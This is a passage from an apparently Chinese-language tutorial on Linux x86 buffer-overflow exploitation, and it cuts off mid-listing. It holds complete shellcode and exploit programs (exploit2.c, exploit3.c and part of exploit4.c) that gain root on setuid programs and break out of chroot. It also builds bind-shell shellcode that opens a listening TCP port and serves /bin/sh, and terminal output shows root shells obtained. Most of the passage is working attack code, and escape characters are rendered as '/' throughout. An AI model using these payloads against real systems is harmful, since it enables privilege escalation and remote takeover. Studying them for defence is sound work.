"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh"; /* .string /"/bin/sh/" */
----------------------------------------------------------------------------
4.4 攻击程序
用下面的shellcode,你可以很方便的使用代码.
exploit2.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80" /* int $0x80 */
"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh"; /* .string /"/bin/sh/" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='/0';
printf("Jump to 0x%08x/n",addr);
execl("./vulnerable2","vulnerable2",buff,0);
}
----------------------------------------------------------------------------
运行结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable2
-rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2*
[ user@hosts ~ ] {2} $ ls -l exploit2
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2*
[ user@hosts ~ ] {3} $ ./exploit2
Jump to 0xbfffec64
Illegal instruction
[ user@hosts ~ ] {4} $ ./exploit2 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------
4.5 技巧用途
如果你用一般的溢出攻击方法对一个具有溢出漏洞的程序攻击只能得到自己的shell,那
可以考虑这种方法。
5. 突破chroot
如果setuid成为root的程序具有chroot的特性,那就只能访问被chroot保护的目录。而
不能访问真正的根目录。但是,通过在shellcode里把root的目录变为"/",你仍旧可以
访问任意的目录。:)
5.1 被攻击的例程
vulnerable3.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>
int main(int argc,char **argv)
{
char buffer[1024];
chroot("/home/ftp");
chdir("/");
if(argc>1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------
如果我们试图利用溢出执行"/bin/sh",它将有可能执行"/home/ftp/bin/sh"(如果存在
的话),而且我们不能访问除"/home/ftp"外的其他的目录。
5.2 编制突破chroot代码
如果你能执行下面的代码,你就可以突破chroot.
breakchrootasm.c
----------------------------------------------------------------------------
main()
{
mkdir("sh",0755);
chroot("sh");
/* many "../" */
chroot("../../../../../../../../../../../../../../../../");
}
----------------------------------------------------------------------------
这段程序建立了一个"sh"的目录,因为它是经常被用的。(它被经常用来执行 "/bin/sh" )
编译和反汇编
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
[ user@hosts ~ ] {2} $ gdb breakchrootasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble mkdir
Dump of assembler code for function __mkdir:
0x804cac0 <__mkdir>: movl %ebx,%edx
0x804cac2 <__mkdir+2>: movl 0x8(%esp,1),%ecx
0x804cac6 <__mkdir+6>: movl 0x4(%esp,1),%ebx
0x804caca <__mkdir+10>: movl $0x27,%eax
0x804cacf <__mkdir+15>: int $0x80
0x804cad1 <__mkdir+17>: movl %edx,%ebx
0x804cad3 <__mkdir+19>: cmpl $0xfffff001,%eax
0x804cad8 <__mkdir+24>: jae 0x804cc40 <__syscall_error>
0x804cade <__mkdir+30>: ret
0x804cadf <__mkdir+31>: nop
End of assembler dump.
(gdb) disassemble chroot
Dump of assembler code for function chroot:
0x804cb60 <chroot>: movl %ebx,%edx
0x804cb62 <chroot+2>: movl 0x4(%esp,1),%ebx
0x804cb66 <chroot+6>: movl $0x3d,%eax
0x804cb6b <chroot+11>: int $0x80
0x804cb6d <chroot+13>: movl %edx,%ebx
0x804cb6f <chroot+15>: cmpl $0xfffff001,%eax
0x804cb74 <chroot+20>: jae 0x804cc40 <__syscall_error>
0x804cb7a <chroot+26>: ret
0x804cb7b <chroot+27>: nop
0x804cb7c <chroot+28>: nop
0x804cb7d <chroot+29>: nop
0x804cb7e <chroot+30>: nop
0x804cb7f <chroot+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------
mkdir("sh",0755); code
----------------------------------------------------------------------------
/* 建立目录的第一个参数是 %ebx 第二个参数是%ecx. */
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xb0/x17" /* movb $0x27,%al */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
/* 在用该指令前,%esi 已经装入了"/bin/sh"的地址 */
/* 该指令会装载 "sh" 的地址,并存储在%ebx */
"/xfe/xc5" /* incb %ch */
/* %cx = 0000 0001 0000 0000 */
"/xb0/x3d" /* movb $0xed,%cl */
/* %cx = 0000 0001 1110 1101 */
/* %cx = 000 111 101 101 */
/* %cx = 0 7 5 5 */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
chroot("sh"); code
----------------------------------------------------------------------------
/* chroot的第一个参数是 ebx */
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xb0/x3d" /* movb $0x3d,%al */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
chroot("../../../../../../../../../../../../../../../../"); code
----------------------------------------------------------------------------
char code[]=
"/xbb/xd2/xd1/xd0/xff" /* movl $0xffd0d1d2,%ebx */
/* 经过伪装的 "../" 字符串 */
"/xf7/xdb" /* negl %ebx */
/* %ebx = $0x002f2e2e */
/* intel x86 is little endian. */
/* %ebx = "../" */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xb1/x10" /* movb $0x10,%cl */
/* 准备循环16次. */
"/x56" /* pushl %esi */
/* 备份当前的 %esi. %esi 有"/bin/sh" 的指针. */
"/x01/xce" /* addl %ecx,%esi */
"/x89/x1e" /* movl %ebx,(%esi) */
"/x83/xc6/x03" /* addl $0x3,%esi */
"/xe0/xf9" /* loopne -0x7 */
/* 使字符串 "../../../../ . . . " 在0x10(%esi)处循环 */
"/x5e" /* popl %esi */
/* 重置 %esi. */
"/xb0/x3d" /* movb $0x3d,%al */
"/x8d/x5e/x10" /* leal 0x10(%esi),%ebx */
/* "../../../../ . . . "的地址为 %ebx . */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
5.3 修改常规的shellcode
将我们编制的突破chroot的代码放到常规shellcode的开头,然后修改jmp和call的参数。
新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/xeb/x4f" /* jmp 0x4f */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xc9" /* xorl %ecx,%ecx */
"/x5e" /* popl %esi */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/xb0/x27" /* movb $0x27,%al */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xfe/xc5" /* incb %ch */
"/xb1/xed" /* movb $0xed,%cl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xb0/x3d" /* movb $0x3d,%al */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xbb/xd2/xd1/xd0/xff" /* movl $0xffd0d1d2,%ebx */
"/xf7/xdb" /* negl %ebx */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xb1/x10" /* movb $0x10,%cl */
"/x56" /* pushl %esi */
"/x01/xce" /* addl %ecx,%esi */
"/x89/x1e" /* movl %ebx,(%esi) */
"/x83/xc6/x03" /* addl %0x3,%esi */
"/xe0/xf9" /* loopne -0x7 */
"/x5e" /* popl %esi */
"/xb0/x3d" /* movb $0x3d,%al */
"/x8d/x5e/x10" /* leal 0x10(%esi),%ebx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/xe8/xac/xff/xff/xff" /* call -0x54 */
"/bin/sh"; /* .string /"/bin/sh/" */
----------------------------------------------------------------------------
5.4 攻击程序3
exploit3.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/xeb/x4f" /* jmp 0x4f */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xc9" /* xorl %ecx,%ecx */
"/x5e" /* popl %esi */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/xb0/x27" /* movb $0x27,%al */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xfe/xc5" /* incb %ch */
"/xb1/xed" /* movb $0xed,%cl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x8d/x5e/x05" /* leal 0x5(%esi),%ebx */
"/xb0/x3d" /* movb $0x3d,%al */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xbb/xd2/xd1/xd0/xff" /* movl $0xffd0d1d2,%ebx */
"/xf7/xdb" /* negl %ebx */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xb1/x10" /* movb $0x10,%cl */
"/x56" /* pushl %esi */
"/x01/xce" /* addl %ecx,%esi */
"/x89/x1e" /* movl %ebx,(%esi) */
"/x83/xc6/x03" /* addl %0x3,%esi */
"/xe0/xf9" /* loopne -0x7 */
"/x5e" /* popl %esi */
"/xb0/x3d" /* movb $0x3d,%al */
"/x8d/x5e/x10" /* leal 0x10(%esi),%ebx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/xe8/xac/xff/xff/xff" /* call -0x54 */
"/bin/sh"; /* .string /"/bin/sh/" */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='/0';
printf("Jump to 0x%08x/n",addr);
execl("./vulnerable3","vulnerable3",buff,0);
}
----------------------------------------------------------------------------
运行结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable3
-rwsr-xr-x 1 root root 4348 Oct 18 15:06 vulnerable3*
[ user@hosts ~ ] {2} $ ls -l exploit3
-rwxr-xr-x 1 ohhara cse 5059 Oct 18 17:13 exploit3*
[ user@hosts ~ ] {3} $ ./exploit3
Jump to 0xbfffec68
Segmentation fault
[ user@hosts ~ ] {4} $ ./exploit3 500
Jump to 0xbfffea74
Segmentation fault
[ user@hosts ~ ] {5} $ ./exploit3 -500
Jump to 0xbfffee5c
bash# whoami
root
bash# pwd
/home/ftp
bash# cd /
bash# pwd
/
bash# ls
afs boot etc home lost+found mnt root tmp var
bin dev export lib misc proc sbin usr
bash#
----------------------------------------------------------------------------
5.5 技巧用途
使用缓冲区溢出攻击一个chrooted setuid的程序,你将不能访问root目录。但是,你可
以用这项技术访问所有的路径。:)
6. 建立套接字(socket)连接
如果我们攻击一个存在缓冲区溢出漏洞的守护程序,会使它崩溃。因此在大多数情况下,
我们必须先执行一个shell,然后打开一个套接字端口,再利用标准I/O建立连接。否则,
不可能获得所需的shell。即使得到了shell,由于该守护程序已经崩溃,我们也无法执
行任何指令,所以,必须编制更为复杂的shellcode,用于与我们的机器建立连接。
6.1 攻击的例程
----------------------------------------------------------------------------
#include<string.h>
int main(int argc,char **argv)
{
char buffer[1024];
if(argc>1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------
这是一个标准的存在溢出漏洞的程序.我们用它来验证如何编写打开一个socket连接的
shellcode。但我们太懒了,都不想编写守护例程.:-)
但是我敢保证,看完以下代码后,你一定不会失望。:)
6.2 编制建立套接字的代码
以下是可以建立套接字的程序。
opensocketasm1.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(30464);
soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
listen(soc,1);
soc_len=sizeof(cli_addr);
cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}
----------------------------------------------------------------------------
使用汇编语言来写的话代码会不一样。你可以把上面的程序写得更简单点。
opensocketasm2.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
int soc,cli;
struct sockaddr_in serv_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0x77;
soc=socket(2,1,6);
bind(soc,(struct sockaddr *)&serv_addr,0x10);
listen(soc,1);
cli=accept(soc,0,0);
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}
----------------------------------------------------------------------------
编译和反汇编结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c
[ user@hosts ~ ] {2} $ gdb opensocketasm2
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------
fork(); code
----------------------------------------------------------------------------
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x02" /* movb $0x2,%al */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
socket(2,1,6); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xf1" /* movl %esi,%ecx */
"/xb0/x02" /* movb $0x2,%al */
"/x89/x06" /* movl %eax,(%esi) */
/* 第一个参数. */
/* 在使用该指令前 %esi 已经释放了存储空间. */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"/xb0/x06" /* movb $0x6,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x01" /* movb $0x1,%bl */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
bind(soc,(struct sockaddr *)&serv_addr,0x10); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"/x89/xf1" /* movl %esi,%ecx */
"/x89/x06" /* movl %eax,(%esi) */
/* 在使用该指令前,%eax 取得soc的值. */
/* 第一个参数. */
"/xb0/x02" /* movb $0x2,%al */
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=2 */
/* 2 被存储在 0xc(%esi) 中. */
"/xb0/x77" /* movb $0x77,%al */
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
/* 存储的端口号在 0xe(%esi) 中. */
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr的地址 */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x10" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
/* 0 被存储在 0x10(%esi) 中. */
"/xb0/x10" /* movb $0x10,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x02" /* movb $0x2,%bl */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
listen(soc,1); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"/x89/xf1" /* movl %esi,%ecx */
"/x89/x06" /* movl %eax,(%esi) */
/* 在使用该指令前,%eax 取得soc的值. */
/* 第一个参数. */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x04" /* movb $0x4,%bl */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
accept(soc,0,0); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"/x89/xf1" /* movl %esi,%ecx */
"/x89/xf1" /* movl %eax,(%esi) */
/* 在使用该指令前,%eax 取得soc的值. */
/* 第一个参数. */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x05" /* movb $0x5,%bl */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
dup2(cli,0); code
----------------------------------------------------------------------------
/* 第一个参数是 %ebx ,第二个参数是 %ecx */
char code[]=
/* 在使用该指令前,%eax 取得cli的值. */
"/x88/xc3" /* movb %al,%bl */
"/xb0/x3f" /* movb $0x3f,%al */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
6.3 修改常规的shellcode
你需要花点工夫来把上面的的代码融合到一块来。
新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x02" /* movb $0x2,%al */
"/xcd/x80" /* int $0x80 */
"/x85/xc0" /* testl %eax,%eax */
"/x75/x43" /* jne 0x43 */
/* fork()!=0 case */
/* 它会调用 exit(0) */
/* 这样做的结果是,它会jump两次, 因为exit(0)被定位得太远了*/
"/xeb/x43" /* jmp 0x43 */
/* fork()==0 case */
/* 它会调用 -0xa5 */
/* 同样的,它也要jump两次,因为 -0xa5 也被定位得很远. */
"/x5e" /* popl %esi */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xf1" /* movl %esi,%ecx */
"/xb0/x02" /* movb $0x2,%al */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x06" /* movb $0x6,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x01" /* movb $0x1,%bl */
"/xcd/x80" /* int $0x80 */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x02" /* movb $0x2,%al */
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
"/xb0/x77" /* movb $0x77,%al */
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x10" /* movl %eax,0x10(%esi) */
"/xb0/x10" /* movb $0x10,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x02" /* movb $0x2,%bl */
"/xcd/x80" /* int $0x80 */
"/xeb/x04" /* jmp 0x4 */
"/xeb/x55" /* jmp 0x55 */
"/xeb/x5b" /* jmp 0x5b */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x04" /* movb $0x4,%bl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x05" /* movb $0x5,%bl */
"/xcd/x80" /* int $0x80 */
"/x88/xc3" /* movb %al,%bl */
"/xb0/x3f" /* movb $0x3f,%al */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x01" /* movb $0x1,%cl */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x02" /* movb $0x2,%cl */
"/xcd/x80" /* int $0x80 */
"/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */
/* %eax="/bin" */
"/x89/x06" /* movl %eax,(%esi) */
"/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x01" /* movb $0x1,%al */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xcd/x80" /* int $0x80 */
"/xe8/x5b/xff/xff/xff"; /* call -0xa5 */
----------------------------------------------------------------------------
6.4 攻击程序
使用该shellcode,我们可以很方便的写出代码来。当然,你还得写个连接套接字
(socket)的代码。
exploit4.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x02" /* movb $0x2,%al */
"/xcd/x80" /* int $0x80 */
"/x85/xc0" /* testl %eax,%eax */
"/x75/x43" /* jne 0x43 */
"/xeb/x43" /* jmp 0x43 */
"/x5e" /* popl %esi */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
